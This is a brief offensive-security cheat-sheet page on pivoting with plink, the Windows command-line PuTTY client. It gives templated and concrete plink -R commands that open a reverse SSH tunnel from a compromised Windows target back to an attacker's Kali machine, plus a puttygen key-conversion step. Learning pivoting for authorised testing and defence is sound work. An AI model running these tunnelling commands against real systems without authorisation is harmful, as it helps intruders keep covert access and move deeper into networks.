> For the complete documentation index, see [llms.txt](https://lswsec.gitbook.io/lswsec-offensive/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://lswsec.gitbook.io/lswsec-offensive/pivoting/plink.md).

# plink

* windows command line version of putty ssh
* usually used to transport the binary to the target then using it to create a reverse connection
* `cmd.exe /c echo y | .\plink.exe -R LOCAL_PORT:TARGET_IP:TARGET_PORT USERNAME@ATTACKING_IP -i KEYFILE -N`
* `if we want to forward a connection back to our attacking machine we can` do:
* `cmd.exe /c echo y | .\plink.exe -R 8000:172.16.0.10:80 kali@172.16.0.20 -i KEYFILE -N`
* `ssh-key`gen wont work properly with these, they will need to be converted using puttygen which can be installed on kali by putty-tools
* the conversion can be done with: puttygen KEYFILE -o Output\_key.ppk
*
